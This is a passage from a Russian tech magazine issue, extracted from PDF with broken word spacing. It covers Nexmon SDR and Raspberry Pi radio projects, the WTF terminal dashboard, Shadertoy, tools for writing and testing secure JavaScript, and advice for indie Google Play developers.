Nova лаун черам, это при ложе ние, которое прос то дела ет работу со смар тфо‐ 
ном удоб ной.

ВЫВОДЫ
Стран но,  что  нас толь ко  оче вид ная  прос тая  идея  сущес тву ет  в  столь  малых
вари антах. Стран но видеть людей, «раз дева ющих» смар тфон так, что бы было
вид но одни обои. Стран но,  что мне  вооб ще приш лось писать AIO Launcher,
вмес то того что бы поль зовать ся чем‐то готовым.

mailto:zobnin@glc.ru
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https://www.youtube.com/watch?v=GhAKbJYpfVk


Андрей Письменный
Шеф‐редактор
apismenny@gmail.com

ТРЮКИ

NEXMON SDR — ПРОГРАММА ДЛЯ ПРЕВРАЩЕНИЯ RASP-
BERRY PI В SDR1 Ра ботая  над  перево дом  статьи  о  том,  как  мож но  прев ратить
переход ник  с  USB  на  VGA  в  переда ющее  прог рам мно  опре деля‐ 
емое  радио,  я  нат кнул ся  на  схо жий  и  не  менее  инте рес ный  про‐ 
ект —  . Это кас томная про шив ка чип сета Wi‐Fi, которая
наделя ет «Малин ку» новыми инте рес ными воз можнос тями.

Nexmon SDR

Ав торы  ути литы  обна ружи ли,  что  чипы  Broadcom
BCM4339 и BCM43455c0 мож но при желании зас тавить переда вать
любой сиг нал на час тотах от 2,4 до 5 ГГц. Чип BCM4339 пре иму щес‐ 
твен но исполь зует ся в телефо нах Nexus 5, а BCM43455c0 — в Rasp‐
berry Pi 3B+ (в модели B без плю са сто ит дру гой чип, с которым Nex‐
mon SDR не зарабо тает).

Nexmon SDR пред полага ется исполь зовать вмес те с основным про‐ 
ектом —  . Он пред став ляет собой фрей мворк для пат чинга
про шив ки  чипа  Wi‐Fi  с  целью,  нап ример,  наделить  его  воз‐ 
можностью перех вата пакетов и инжекта фрей мов. Он, кста ти, под‐ 
держи вает  гораз до  боль шее  чис ло  устрой ств,  вклю чая  Huawei
P9 и некото рые Samsung Galaxy.

Nexmon

Что до Raspberry Pi,  то ее мож но прев ратить в ради опе редат чик
и  при  помощи дру гой  ути литы —  . Она  пода ет  сиг нал  от  5  кГц
до 1500 МГц на пины GPIO, к которым мож но под клю чить антенну.

rpitx

Эк спе римен тируя  со  всем  этим,  не  забывай,  что  вещание
без  лицен зии  за  пре дела ми  экра ниро ван ного  помеще ния  может
быть незакон ным.

WTF — УНИВЕРСАЛЬНЫЙ ДАШБОРД ДЛЯ НАСТОЯЩИХ
ФАНАТОВ ТЕРМИНАЛА2
Мо жет  показать ся,  что  вся кие  вид жеты  и  гад жеты — это  удел  раз‐ 
весис тых  гра фичес ких интерфей сов, авто ры которых  уже не зна ют,
что бы еще при делать к опе раци онной сис теме. Одна ко некото рые
пок лонни ки коман дной стро ки Linux тоже не чуж ды лег комыс ленных
раз вле чений.  Впро чем,  кра сиво  офор млен ную  при бор ную  панель
мож но счи тать и прак тичной — смот ря что на нее пос тавить.

Как дол жно быть

Пред мет раз говора — ути лита под наз вани ем  . Это модуль ный
даш борд, эле мен ты которо го  ты выбира ешь сам — в соот ветс твии
с  тво ими  нуж дами  и  раз мерами  монито ра.  Нап ример,  можешь
вывес ти себе ста тис тику по про екту в GitHub или GitLab, показы вать
тас ки из Jira и Trello, добавить информа цию о заряде батареи, пос‐ 
тавить  кра сивый  прог ноз  погоды,  кур сы  крип товалют  и  даже
добавить ту‐ду‐лист и запол нять его пря мо на мес те.

WTF

По мимо это го, WTF мож но интегри ровать с дру гими прог рамма‐ 
ми —  нап ример,  через  тек сто вый файл  (модуль  Textfile)  или  через
стан дар тный вывод (модуль CmdRunner). Для облачной интегра ции
мож но  исполь зовать  ячей ки  в  таб лицах  Google  Spreadsheets:
при помощи  IFTTT в них удоб но скла дывать информа цию, получен‐ 
ную от дру гих cер висов через API.

Од нако, ког да я при нял ся с энту зиаз мом нас тра ивать свой даш‐ 
борд, меня жда ло некото рое разоча рова ние.

WTF?!

Нор маль но  отоб разил ся  толь ко  вывод  из  тек сто вого  фай ла,  куда
спе циаль ный скрипт скла дыва ет кур сы дол лара и евро. А вот прек‐ 
расный  прог ноз  погоды  из    отоб ража ется  битым.  С  Google
Spreadsheets  тоже  не  задалось:  пос ле  под клю чения  модуля  WTF
стал пред лагать мне вста вить из буфера обме на ключ раз работ чика,
но потом жаловал ся, что ключ не под ходит.

wttr.in

При дет ся  теперь  не  забыть  вер нуть ся  к  этой шту ке  через  годик
и пос мотреть, как прод вига ется раз работ ка!

SHADERTOY — РЕДАКТОР ШЕЙДЕРОВ, КОТОРЫЙ
РАБОТАЕТ В БРАУЗЕРЕ3
Сов ремен ные бра узе ры без проб лем отоб ража ют трех мерную гра‐ 
фику в фор мате WebGL, хотя на обыч ных сай тах такое раз вле чение
пока что встре чает ся и очень ред ко (да что там, поч ти никог да). Вос‐ 
полнить  нех ватку  кру того  3D  в  орга низ ме,  а  так же  оце нить  мощь
сов ремен ных тех нологий и поп робовать самос тоятель но поиг рать ся
с шей дерами поможет сер вис  .Shadertoy

Смысл Shadertoy доволь но прост: поль зовате ли могут писать шей‐ 
деры на язы ке GLSL и тут же видеть, как будет выг лядеть резуль тат
работы прог раммы. А затем выс тавить свое тво рение на суд общес‐ 
твен ности,  что бы  соб рать  лай ки  и  ком мента рии.  Луч шие  работы
попада ют в топы.

Смот реть  их,  кста ти,  одно  удо воль ствие.  Чего  толь ко  не  дела ют
при  помощи  шей деров!  Рису ют    и  даже  ,
генери руют   и  .
Кто‐то  даже  написал    —  все го
на каких‐то 440 строк.

при мити вы це лые  сце ны
при ятные спе цэф фекты за вора жива ющие лан дшаф ты

по добие  игры  Wolfenstein  3D

Ес ли  захочешь  разоб рать ся,  как  все  это  работа ет,  то  можешь
изу чать и про бовать менять чужой код пря мо на мес те. Ну а более
фун дамен таль ные  зна ния  можешь  почер пнуть,  нап ример,  на  сай те

,  там есть неп лохая  .WebGLFundamentals статья о шей дерах и GLSL

mailto:apismenny@gmail.com
https://github.com/seemoo-lab/mobisys2018_nexmon_software_defined_radio
https://github.com/seemoo-lab/nexmon
https://github.com/F5OEO/rpitx
https://wtfutil.com/
http://wttr.in/
https://www.shadertoy.com/
https://www.shadertoy.com/view/Xds3zN
https://www.shadertoy.com/view/lscBW4
https://www.shadertoy.com/view/XslGRr
https://www.shadertoy.com/view/4ttSWf
https://www.shadertoy.com/view/4sfGWX
https://webglfundamentals.org/
https://webglfundamentals.org/webgl/lessons/webgl-shaders-and-glsl.html
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КОДИНГ

Раз работ ка безопас ных при ложе ний на JavaScript — весь ма
неп ростое занятие. Но выпол нимое. В этой статье рас смот‐ 
рим  осо бен ности  JavaScript,  из‐за  которых  воз ника ет
наиболь шее  количес тво  проб лем,  и  обра тим  вни мание
на инс тру мен ты раз работ чика, которые помогут их избе жать.

ПЯТЬ ПРИЧИН, ПОЧЕМУ СЛОЖНО ПИСАТЬ
БЕЗОПАСНЫЙ КОД НА JS

1. Ком пилятор не поможет
JavaScript — интер пре тиру емый язык. А это зна чит, что ком пилятор не будет
все  вре мя  на  что‐нибудь  жаловать ся,  отка зыва ясь  работать  и  под талки вая
тебя поп равить ошиб ки и опти мизи ровать код.

2. Динами чес кая суть JavaScript
JavaScript  динами чес кий,  сла боти пизи рован ный  и  асин хрон ный.  А  это  все
приз наки того, что попасть в беду лег че лег кого.

  и  вклю чения  сто рон него  кода  через
script  src  поз воля ют  исполнять  стро ки  пря мо  в  ран тай ме.  Как  следс твие —
слож но  дать  «ста тичес кие  гаран тии»  того,  что  код  будет  вес ти  себя  опре‐ 
делен ным обра зом. Динами чес кий ана лиз это тоже зат рудня ет  (см. 

).

Язы ковые  средс тва  вро де  eval

на учную
работу

Ис поль зование eval

 при водит к тому, что при менять усто явши еся методы
ста тичес кого ана лиза неп росто — по край ней мере в срав нении со ста тичес‐ 
ки типизи рован ными язы ками (нап ример, Java).

Сла бая типиза ция

  вызовы  которых  JavaScript  допус кает  через
механиз мы вро де setTimeout и XMLHttpRequest (тот самый зна мени тый AJAX),
по ста тис тике пря чут в себе боль ше все го ковар ных оши бок.

Асин хрон ные  кол бэки,

3. Замыс ловатые воз можнос ти JS
Че го толь ко не при тащи ли в JavaScript с годами! В час тнос ти, в нем есть 

,   и  . Они дела ют язык еще динамич‐ 
нее, а написа ние безопас ного кода — слож нее.

про‐ 
тоти пы фун кции пер вого клас са за мыка ния

  Смысл  их  в  том,  что  прог раммы  пишут ся  в  духе  объ ектно
ори енти рован ного под хода,  но без исполь зования  клас сов. При  таком под‐ 
ходе объ екты нас леду ют необ ходимые им свой ства нап рямую от дру гих объ‐ 
ектов  (про тоти пов).  При  этом  в  JS  про тоти пы  могут  быть  пере опре деле ны
пря мо в ран тай ме. И если это пере опре деле ние слу чилось, то эффект сра зу
же  рас простра няет ся  на  все  объ екты,  которые  нас леду ют  свой ства  пере‐ 
опре деля емо го про тоти па.

Про тоти пы.

Как обра баты вают ся про тоти пы

Спра вед ливос ти ради надо ска зать,  что в новых спе цифи каци ях ECMAScript
клас сы тоже при сутс тву ют.

  У  JS очень  гиб кая модель объ ектов и фун‐ 
кций.  Свой ства  объ ектов  и  их  зна чения  могут  быть  соз даны,  изме нены
или уда лены пря мо в ран тай ме, и ко всем есть дос туп через фун кции пер вого
клас са.

Фун кции пер вого клас са.

  Если  объ явить фун кцию  внут ри  дру гой фун кции,  то  пер вая
получа ет  дос туп  к  перемен ным  и  аргу мен там  пос ледней.  При чем  эти
перемен ные  про дол жают  сущес тво вать  и  оста ются  дос тупны ми  внут ренней
фун кции — даже пос ле того, как внеш няя фун кция, в которой эти перемен ные
опре деле ны, завер шилась.

За мыка ния.

Из‐за такой гиб кости и динамич ности JavaScript опре деле ние набора всех
дос тупных  свой ств  объ екта  при  ста тичес ком  ана лизе  —  нераз решимая
задача.  Одна ко  веб‐раз работ чики  пов семес тно  исполь зуют  динами чес кие
осо бен ности  язы ка,  а  соот ветс твен но,  пре неб регать  ими  при  ана лизе  кода
нель зя. Ина че какая тут гаран тия безопас ности?

4. Тес ное вза имо дей ствие меж ду JavaScript и DOM
Это нуж но, что бы обес печить «бес шовное» обновле ние веб‐стра ницы, пря мо
в ран тай ме. DOM, как извес тно, пред став ляет собой стан дар тную объ ектную
модель, ней траль ную по отно шению к плат формам и язы кам, которая пред‐ 
назна чена для отри сов ки докумен тов HTML и XML. У DOM есть собс твен ный
API  для  работы  с  отоб ража емым  докумен том:  для  динами чес кого  дос тупа,
переме щения  и  обновле ния  отоб ража емо го  докумен та  (его  содер жимого,
струк туры  и  сти ля).  Изме нения  в  DOM могут  вно сить ся  динами чес ки,  через
JavaScript. И эти изме нения сра зу же отоб ража ются в бра узе ре.

Бла года ря  DOM  заг ружен ные  в  бра узер  веб‐стра ницы  мож но  обновлять
поэтап но по ходу под груз ки дан ных с сер вера. Одна ко у такого удобс тва есть
и  обо рот ная  сто рона:  фраг менты  кода,  которые  отве чают  за  динами чес кое
вза имо дей ствие меж ду JS и DOM, осо бен но под верже ны ошиб кам.

На ибо лее рас простра нен ные ошиб ки в веб‐при ложе ниях

5. Слож ные событий ные вза имо дей ствия
JavaScript — это  язык,  управля емый событи ями  (event‐driven). Он поз воля ет
раз работ чикам  регис три ровать  на  узлах  DOM  так  называ емых  «слу шате лей
событий»  —  event  listeners.  И  хотя  боль шинс тво  событий  вызыва ются  дей‐ 
стви ями  поль зовате ля,  сущес тву ют  и  такие,  которые  могут  быть  ини цииро‐ 
ваны и без это го, — нап ример, события по вре мени и асин хрон ные вызовы.
При  этом  каж дое  событие  может  отда вать ся  эхом  по  все му  дереву  DOM
и акти виро вать сра зу нес коль ко  «слу шате лей». Иног да отсле дить все это —
доволь но нет риви аль ная задача.

Как обра баты вают ся события

По  этим  при чинам  код  на  JS  может  быть  тру ден  для  понима ния,  ана лиза
и тес тирова ния. Облегчат жизнь веб‐раз работ чику и помогут писать безопас‐ 
ный код спе циаль ные ути литы.

УТИЛИТЫ ДЛЯ ТЕСТИРОВАНИЯ КОДА НА JS

Су щес тву ют  ути литы  для  пар синга  (нап ример,  ,  ),  опти миза ции
(нап ример,  ) и ста тичес кого ана лиза кода на наличие
рас простра нен ных син такси чес ких оши бок (нап ример,  ).

Esprima Rhino
Google Closure Compiler

JSHint
Кро ме того, есть нес коль ко про верен ных фрей мвор ков, которые помога‐ 

ют веб‐раз работ чикам пок рывать JS‐код тес тами. Сре ди них:
 — популяр ный фрей мворк для тес тирова ния модулей;• QUnit
 — BDD‐фрей мворк  (Behavior‐driven Development) для тес тирова‐ 

ния кода;
• Jasmine

 — фрей мворк для тес тирова ния кода, запус кает ся как в Node.js, так
и в бра узе ре;

• Mocha

 — фрей мворк, который в чис ле про чего может про гонять набор
тес тов сра зу через нес коль ко бра узе ров.

• jsTestDriver

Кро ме  того,  сущес тву ют  тес тиру ющие  фрей мвор ки,  которые  эму лиру ют
поведе ние  бра узе ра  и  поз воля ют  авто мати чес ки  про гонять  тес товые  при‐ 
меры. Они осо бен но акту аль ны при отладке учас тков кода, которые отве чают
за вза имо дей ствие меж ду JS и DOM, и пре дос тавля ют удоб ную инфраструк‐ 
туру для манипу лиро вания DOM.

К  при меру,  ,    и    пре дос тавля ют  API,  через
который мож но запус кать экзем пля ры бра узе ра и работать с ними. Через API
ты можешь акти виро вать события и получать дос туп к эле мен там DOM пря мо
в ран тай ме — то есть тес тировать код в усло виях, мак сималь но приб лижен‐ 
ных к реаль ным. Конеч но, немалую часть работы при дет ся про делы вать вруч‐ 
ную, но даже это уже неп лохая помощь в тес тирова нии.

Selenium PhantomJS SlimerJS

УТИЛИТЫ ДЛЯ СТАТИЧЕСКОГО АНАЛИЗА

Ра нее ути литы для выяв ления проб лемных учас тков кода пред став ляли собой
ста тичес кие  ана лиза торы.  То  есть,  учи тывая  все  динами чес кие  при чуды  JS,
мог ли  пре дос тавить  толь ко  огра ничен ную  помощь.  Одна ко  и  они  быва ют
полез ными в ана лизе. Вот нес коль ко основных при меров.

 —  ста тичес кий  ана лиза тор,  который  иссле дует  зависи мос ти меж ду
фун кци ями JS, сти лями CSS, тегами HTML и изоб ражени ями. Смысл этой ути‐ 
литы — находить при ста тичес ком ана лизе неис поль зуемые ресур сы. Одна ко
с динами кой WARI, конеч но, не спра вит ся.

WARI

 — ути лита для ана лиза ста тичес кого  кода,  которая сама написа на
на JavaScript. Она про веря ет код на соот ветс твие хорошим прак тикам.

JSLint

  —  JS‐опти миза тор,  который  авто мати чес ки
перепи сыва ет код с целью сде лать его быс трее и ком пак тнее. Заод но в тру бу
вылета ют все ком мента рии и любые неис поль зуемые учас тки кода.

Google  Closure  Compiler

WebScent  (см.  ) —  прод винутый  ста тичес кий  ана лиза тор.
В работе он исхо дит из того, что кли ент ский JS‐код (тот, который заг ружа ется
в бра узер) не хра нит ся на сто роне сер вера в целом виде, а рас сеян по сер‐ 
верно му коду кус ками. «Душок» в этих кус ках не может быть лег ко обна ружен
до тех пор, пока из них не будет сге нери рован цель ный кли ент ский код. Web‐
Scent  ана лизи рует  кли ент ский  код  с  тем,  что бы  най ти  проб лемные  мес та
в  сер верном  коде.  При  этом  работа  ста тичес кого  ана лиза тора  WebScent
в  основном  сво дит ся  к  рас путыва нию  замесов  HTML,  CSS  и  JS —  с  целью
обна ружить дуб лиру ющий ся код и ошиб ки в син такси се HTML.

на учную  работу

УТИЛИТЫ ДЛЯ ДИНАМИЧЕСКОГО АНАЛИЗА

 — ути лита, в которой объ еди нены ста тичес кий и динами чес кий ана‐ 
лиз. Она ана лизи рует код на наличие три над цати анти пат тернов. Семь из них
(в том чис ле lazy object и long function) — общие для всех язы ков прог рамми‐ 
рова ния,  а шесть осталь ных  (closure  smells,  excessive global  variables,  nested
callbacks и дру гие) спе цифич ны для JavaScript.

JSNose

  —  авто мати зиро ван ная  ути лита,  которая  помога ет  веб‐раз‐ 
работ чику  понимать  код  при  прос мотре:  объ ясня ет  при чину  при сутс твия
струк тур  DOM,  выпол няет  динами чес кий  ана лиз,  а  так же  пре дос тавля ет
умный авто ком плит для кода, который вза имо дей ству ет с DOM.

DOMPletion

 — фрей мворк, который помога ет рас путывать слож ные событий‐ 
ные вза имо дей ствия. Clematis деталь но фик сиру ет все события, которые сра‐ 
баты вают при выпол нении, и визу али зиру ет их в виде абс трак тной поведен‐ 
ческой модели, в которой отра жают ся вре мен ные и при чин но‐следс твен ные
свя зи меж ду ком понен тами и событи ями.

Clematis

ВЫВОДЫ

Итак, отсле дить про исхо дящее при выпол нении скрип тов на JS быва ет неп‐ 
росто,  но,  воору жив шись под ходящи ми инс тру мен тами,  най ти  и  перепи сать
проб лемные  мес та  мож но  даже  в  самом  запутан ном  коде.  Впро чем,  Java‐
Script  не  сто ит  на  мес те:  в  нем  появ ляют ся  новые  и  новые  воз можнос ти,
теперь он час то исполь зует ся для написа ния при ложе ний (как мобиль ных, так
и дес ктоп ных), а так же все чаще встре чает ся на сер верах (и не толь ко) бла‐ 
года ря  Node.js.  А  это  зна чит,  что  и  искусс тво  лов ли  багов  нуж но  выводить
на новый уро вень.
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КОДИНГ

Вот уже год я занима юсь под дер жкой при ложе ния в Google
Play. За это вре мя при ложе ние уста нови ли сот ни тысяч раз,
а  поль зователь ская  база  раз рослась  до  десят ков  тысяч.
Каж дый  день  я  получаю  отзы вы  и  пись ма,  сооб щения
об  ошиб ках  и  пишу  код.  Эта  статья —  советы  для  тех,  кто
толь ко начина ет свой путь в Google Play и жела ет сох ранить
хотя бы часть головы сво бод ной от шишек.

НАУЧИСЬ ПРАВИЛАМ ГИГИЕНЫ
За  годы  сущес тво вания  Google  Play  в  нем  сфор мировал ся  собс твен ный
набор «пра вил жиз ни», которо му теперь под чиня ются и поль зовате ли, и раз‐ 
работ чики. Вот часть этих пра вил.

 Такая модель поведе ния появи лась бла года‐ 
ря круп ным раз работ чикам с собс твен ной служ бой под дер жки, которая прос‐ 
то  обя зана отве чать  на  все отзы вы  с  пло хими оцен ками  (они обыч но  пишут
тош нотвор ное «Мы рады, что вы ска чали наше при ложе ние» в начале каж дого
отве та). Таких ребят луч ше игно рить, пос ле получе ния отве та они не испра вят
оцен ку.

Ес ли  хочешь быс тро  получить  ответ  от  раз работ чика,  прос то  напиши

воп рос и пос тавь одну звез ду.

  Опять  же  игнор,  плюс  жалоба
Google  (это  лег ко,  дос таточ но  нажать  на  фла жок).  Отзы вы  с  матом  Google
уда лит сам.

Ты ничего не уме ешь, сидишь на шее у родите лей и чувс тву ешь себя

никем? Прос то  напиши  гадость  в  отзы вах.

 Android нас толь ко фраг менти рован, что, даже если ты вылизал при‐ 
ложе ние до блес ка, оно все рав но будет работать кри во на десят ках и сот нях
моделей телефо нов. Выхода из ситу ации два: пер вый — объ яснять каж дому
поль зовате лю, как обой ти его проб лему на кон крет ном телефо не, вто рой —
пой ти  по  пути  раз работ чиков  VLC.  Они,  напом ню,  прос то  заб локиро вали
полови ну  моделей  Huawei,  потому  что  механизм  энер госбе реже ния  этих
смар тфо нов при бивал пле ер во вре мя прос мотра видео.

Ку пил китай ское гуано вмес то телефо на? Винова ты раз работ чики при- 

ложе ний!

А вот так делать не сто ит

ХОРОШАЯ ТЕХПОДДЕРЖКА НЕ МЕНЕЕ ВАЖНА, ЧЕМ ХОРОШИЙ
КОД
Мно гие айтиш ники нелюди мы и обла дают высоким уров нем ЧСВ. В обыч ной
жиз ни мы счи таем это сво ей фиш кой и не испы тыва ем серь езных проб лем.
Но  все меня ется,  ког да  нам при ходит ся  работать  в  коман де,  а  еще  хуже —
выпол нять работу тех ничес кой под дер жки.

Об щение с тех ничес ки нег рамот ной ауди тори ей может быть очень болез‐ 
ненным  и  сто ить  мил лионы  нер вных  кле ток.  Но  это  сов сем  не  зна чит,  что
поль зовате лей нуж но игно рить и уж тем более посылать куда подаль ше.

Я  получаю  десят ки  писем  в  день.  Поль зовате ли  спра шива ют  меня,
как  вклю чить  фун кцию,  вклю чатель  которой  находит ся  в  самом  вер ху  окна
нас тро ек. Они спра шива ют, почему я не реали зую под дер жку WhatsApp, хотя
я отве чал на этот воп рос уже пять десят раз и даже вклю чил его в FAQ. Мно гие
поль зовате ли  про сят  добавить  опре делен ную  фун кци ональ ность,  а  некото‐ 
рые пок рыва ют матом, ког да я отка зываю.

Я ста раюсь отве чать всем, незави симо от того, нас коль ко баналь ный воп‐ 
рос  зада ет  поль зователь.  Есть  толь ко  два  спо соба  сде лать  так,  что бы  я
намерен но не отве тил: написать не име ющее отно шения к при ложе нию пись‐ 
мо  и  начать  спа мить  оди нако выми  воп росами.  Осталь ным:  доб ро  пожало‐ 
вать.

Бла года ря  такому  отно шению  выиг рыва ют  все.  И  раз работ чик,  который
име ет  мно жес тво  пре дан ных  поль зовате лей,  и  сами  поль зовате ли,  которые
в любой момент могут получить ответ на любой воп рос или сооб щить о баге,
что бы раз работ чик испра вил его в бли жай шем обновле нии.

НИЧЕГО НЕ ОБЕЩАЙ
Са мая  боль шая  ошиб ка,  которую  я  совер шил,  обща ясь  с  поль зовате лями
в  Google  Play,  —  это  обе щание  реали зовать  опре делен ную  фун кци ональ‐ 
ность. Человек оставлял отзыв,  в  котором писал,  что  все вро де бы  хорошо,
но  хотелось  бы  вот  такую  фун кцию.  В  ответ  на  это  я  говорил,  что  идея
хорошая и я ее реали зую. Через неделю тот же поль зователь менял оцен ку
на еди ницу с пояс нени ем, что я не выпол няю обе щания.

Не тех нари  видят  реаль ность  сов сем  не  так,  как  мы.  Для  мно гих  ничего
не  понима ющих  в  раз работ ке  людей  добавить  новую  фун кци ональ ность —
это все рав но что схо дить в туалет: открыл код, добавил фун кцию, зак рыл код.

НИКТО НЕ ЧИТАЕТ ДОКУМЕНТАЦИЮ
Ба наль щина, не так ли? Но толь ко если речь идет не о поль зовате лях мобиль‐ 
ного соф та. Они не прос то не чита ют докумен тацию, они не чита ют вооб ще
ничего.  Ни  опи сание  при ложе ния  в  мар кете,  ни  встро енную  в  при ложе ние
мак сималь но  крат кую  докумен тацию,  ни  под сказ ки.  Доб рая  полови на  поль‐ 
зовате лей  про пус тит  даже  визард  пер вого  запус ка  из  трех  крат ких  пред‐ 
ложений, которые прос то невоз можно не заметить и не успеть про читать.

Что с этим делать? Конеч но же, пос тарать ся сде лать интерфейс при ложе‐ 
ния  нас толь ко  понят ным,  что бы  никакие  пояс нения  прос то  не  тре бова лись.
Проб лема толь ко в том, что это не всег да воз можно сде лать. Эффектив ность
исполь зования и наг лядность интерфей са пересе кают ся не так уж час то, и во
мно гих ситу ациях без пояс нений прос то не обой тись. Ты будешь пояс нять эти
момен ты  в  ответных  пись мах,  в  отзы вах  на  Google  Play,  на  форумах.  Сно ва
и сно ва, сно ва и сно ва.

НЕ ТОРОПИСЬ, НЕ ТОРОПИСЬ, НЕ ТОРОПИСЬ
За  вре мя раз работ ки  при ложе ния  у меня  сло жилась  стой кая  при выч ка  про‐ 
сыпать ся в час ночи. В это вре мя в Аме рике день, а зна чит, это самое луч шее
вре мя  про верить  в  поч те  сооб щения  о  багах,  най ден ных  поль зовате лями
в опуб ликован ной вче ра вер сии. Я мог бы пох вастать ся тем, нас коль ко быс‐ 
тро  я  реаги рую на  сооб щения об ошиб ках. Но  на  самом деле  это  озна чает
лишь то, что я пос тоян но тороп люсь с релизом.

Пос пешность  в  раз работ ке  ПО  —  твой  самый  ковар ный  враг.  Все  мы
хотим как мож но ско рее зарели зить новую вер сию с так дав но ожи даемы ми
фун кци ями, лишен ную дос тавших всех недора боток. И всем нам кажет ся, что
уж  в  этот‐то  раз  мы  пре дус мотре ли  дей стви тель но  все  и  багов  точ но  нет.
А даль ше все как обыч но: релиз, баг, баг фикс, ушед шие поль зовате ли.

Од нажды  я  выпус тил  баг фикс‐релиз  все го  с  тре мя  изме нен ными  стро‐ 
ками. На  сле дующий день  поль зовате ли  обна ружи ли  проб лему  совер шенно
в дру гом мес те,  и  ког да  я  все‐таки  нашел ее при чину,  то  еще дол го  уве рял
себя, что такого прос то не может быть.

Всег да  тес тируй  и  тща тель но  про веряй  новые  вер сии.  Даже  если  тебе
кажет ся,  что  это  исправ ление  точ но  ни  на  что  не  вли яет,  оно  может  иметь
очень неожи дан ные сайд‐эффекты.

НЕ ДЕЛАЙ БЫСТРО, ДЕЛАЙ ПРАВИЛЬНО
Да же  самую  пра виль ную  и  кра сивую  архи тек туру  мож но  унич тожить,  без‐ 
думно добав ляя новую фун кци ональ ность. Сна чала тебе кажет ся, что неболь‐ 
шое откло нение от дизай на не соз даст проб лем. Затем ты добав ляешь вто‐ 
рую не сог ласу ющуюся с архи тек турой фун кцию. Затем исклю чения ста новят‐ 
ся  пра вилом,  и  вот  ты  уже  не  можешь  разоб рать ся  в  собс твен ном  коде,
а количес тво неис прав ленных багов рас тет в геомет ричес кой прог рессии.

Что бы избе жать это го, дос таточ но купить блок нот и накиды вать в нем план
реали зации новой фун кци ональ нос ти. Блок‐схе мы и даже прос то спис ки быс‐ 
тро рас ста вят все по сво им мес там и поз волят внед рить новые фун кции без‐ 
болез ненно и без наруше ния общей архи тек туры.

ЛУЧШЕ МАЛО ПРЕВОСХОДНО РАБОТАЮЩИХ ФУНКЦИЙ, ЧЕМ
МНОГО НЕДОРАБОТАННЫХ
У каж дого инди‐раз работ чика в  голове есть  куча идей,  которые он хотел бы
реали зовать  в  сво ем при ложе нии. Но,  пыта ясь реали зовать их  все,  ты рано
или  поз дно  стол кнешь ся  с  проб лемой  неп рорабо тан ности.  При ложе ние
будет набито сырыми, а потому бес полез ными фун кци ями, которые отпугнут
сущес тву ющих поль зовате лей, а не прив лекут новых.

Что бы  довес ти  до  ума  одну  фун кцию,  может  понадо бить ся  мас са  сил
и  вре мени.  Но  оно  сто ит  того.  Поль зовате ли  ценят  про думан ные,  закон‐ 
ченные при ложе ния.

НЕ ДОВЕРЯЙ ЧУЖОМУ КОДУ
Stack Overflow пол ностью изме нил под ход к написа нию при ложе ний. Сегод‐ 
няшние  прог раммис ты  не  чита ют  докумен тацию  и  не  ведут  мно гоча совые
беседы  с  кол легами.  Они  идут  на  SO  и  прос то  копиру ют  ответ,  наб равший
боль шее количес тво голосов. Выбор биб лиотек зачас тую не более слож ный:
где звез дочек на GitHub боль ше, то и луч ше.

Что  мы  получа ем  в  резуль тате?  Забаго ван ные,  уяз вимые  и  мед ленные
при ложе ния. Боль шое количес тво голосов или звез дочек не озна чает, что код
кор ректен. Снип пет кода мог уста реть; те, кто ста вил оцен ки, мог ли не брать
в  рас чет  безопас ность  и  ско рость;  в  кон це  кон цов,  код  может  прос то
не подой ти для тво ей кон крет ной ситу ации.

То же самое каса ется биб лиотек. Не все раз работ чики нас толь ко опыт ные
и прод винутые, как ребята из Square. Прог раммис ты дела ют ошиб ки, недос‐ 
таточ но  тес тиру ют  биб лиоте ку,  не  обновля ют  ее  к  текущим  реалиям,  ну
или прос то заб расыва ют.

Всег да тща тель но тес тируй любой код, который ты вклю чаешь в при ложе‐ 
ние. Читай ком мента рии на SO, ана лизи руй код, прос матри вай баг‐репор ты
на  GitHub,  пос мотри,  ког да  был  сде лан  пос ледний  ком мит,  и  вни матель но
сле ди  за  новов ведени ями  Android.  Они  могут  сло мать  не  толь ко  твой,  но  и
чужой код.

При работе с мно жес твом изоб ражений Blurry будет кра шить твое при ‐
ложе ние каж дые две минуты

НИКТО НЕ БУДЕТ ТЕСТИРОВАТЬ БЕТА-ВЕРСИЮ
От сутс твие  про фес сиональ ного  бета‐тес тирова ния  —  одна  из  основных
проб лем  инди‐раз работ чиков.  Час то  мы  прос то  не  можем  поз волить  себе
нанимать про фес сиона лов и поэто му при бега ем к помощи дру зей, родс твен‐ 
ников и соседей. Резуль тат обыч но получа ется пла чев ным, и мы ищем спо соб
рас ширить ауди торию тес теров за счет самих поль зовате лей.

Google Play поз воля ет заг ружать три раз личные вер сии при ложе ния: аль‐ 
фа, бета и ста биль ная. И кажет ся, что это имен но то, что нам нуж но: прос то
заг ружа ем  бету,  и  пусть  ее  уста нав лива ют  все,  кто  хочет,  и  отпи сыва ются
о проб лемах.

Вот толь ко отпи сывать ся о проб лемах ник то не будет. Поль зовате ли ста‐ 
вят бета‐вер сию вов се не для  того, что бы ее тес тировать, а что бы получить
новые фун кции  быс трее  дру гих.  Для  мно гих  поль зовате лей  баг  в  бета‐вер‐ 
сии — это что‐то впол не обыч ное и не вызыва ющее воз мущения или желания
сооб щить.  Даже  если  бета‐тес теров  тысяча  человек,  о  багах  тебе  сооб щит
толь ко один.

На  самом  деле  даже  поль зовате ли  ста биль ной  вер сии  при ложе ния
искрен не  полага ют,  что  ты  уже  зна ешь  о  сущес тво вании  най ден ного  ими
бага. А не исправ ляешь ты его потому, что не можешь или не уме ешь.

НЕВОЗМОЖНЫЕ БАГИ ВОЗМОЖНЫ
За вре мя под дер жки при ложе ния ты навер няка не раз стол кнешь ся с людь ми,
которые  запус тят  твое  при ложе ние  в  нес тандар тных  и  не  пред назна чен ных
для него усло виях и будут отпи сывать ся о багах. Самый прос той при мер: при‐ 
нуди тель но перевер нуть при ложе ние в лан дшафтный режим при том, что оно
дол жно работать толь ко в пор трет ном.

Мож но  толь ко  гадать,  какие  цели  прес леду ют  такие  поль зовате ли,  но  со
вре менем они научат  тебя игно риро вать невоз можные баги. И будь уве рен,
имен но  в  этот  момент  появит ся  нас тоящий  невоз можный  баг,  который  зат‐ 
рагива ет не толь ко людей со стран ностя ми.

Ты уже три раза про верил код и не смог пов торить его на всех эму лято рах
и смар тфо нах? Про верь код еще три раза и в этот раз запус ти при ложе ние
на всех‐всех эму лято рах и смар тфо нах.

ГОТОВЬСЯ К ПРОБЛЕМАМ
Ког да  ты  толь ко  начина ешь  изу чать  прог рамми рова ние  для  Android,  тебе
кажет ся, что здесь все прос то и понят но. Но чем доль ше ты этим занима ешь‐ 
ся,  тем  боль ше  понима ешь,  нас коль ко  все  слож но  и  запутан но.  Android
